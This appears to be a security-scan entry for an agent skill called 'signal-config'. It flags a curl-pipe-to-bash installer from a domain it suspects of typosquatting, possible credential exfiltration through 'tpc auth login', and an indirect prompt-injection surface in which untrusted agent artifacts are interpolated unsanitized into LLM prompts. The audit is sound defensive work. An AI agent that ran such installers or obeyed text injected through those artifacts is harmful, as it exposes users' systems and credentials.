The Agent Skills Directory

[REMOTE_CODE_EXECUTION]: The skill instructs the agent to install a command-line tool by piping a remote script directly into the bash shell (curl -fsSL https://cli.promptingco.com/install.sh | bash). This is a critical risk that allows for arbitrary code execution on the user's system.
[EXTERNAL_DOWNLOADS]: The skill downloads executable content from cli.promptingco.com. This domain is a character-substitution variation of the vendor's own promptingcompany.com domain (omitting 'mpany'), which is a common indicator of typosquatting or impersonation.
[COMMAND_EXECUTION]: The skill executes local system commands for installation (cp, rm) and utilizes a third-party CLI (tpc) for config validation and authentication.
[DATA_EXFILTRATION]: Because the skill encourages the use of tpc auth login alongside a script downloaded from an untrusted domain, there is a high risk of credential harvesting or exfiltration of authentication tokens.
[PROMPT_INJECTION]: The skill contains an indirect prompt injection surface. Ingestion points: It reads untrusted agent run artifacts including assistantText, userText, codeText, and toolResults. Boundary markers: It uses simple --- separators and ${text} interpolation in LLM prompts. Capability inventory: The skill can write files to disk and execute the tpc CLI tool. Sanitization: There is no evidence of filtering or sanitizing the artifact content before it is processed by the model to determine metric values.

signal-config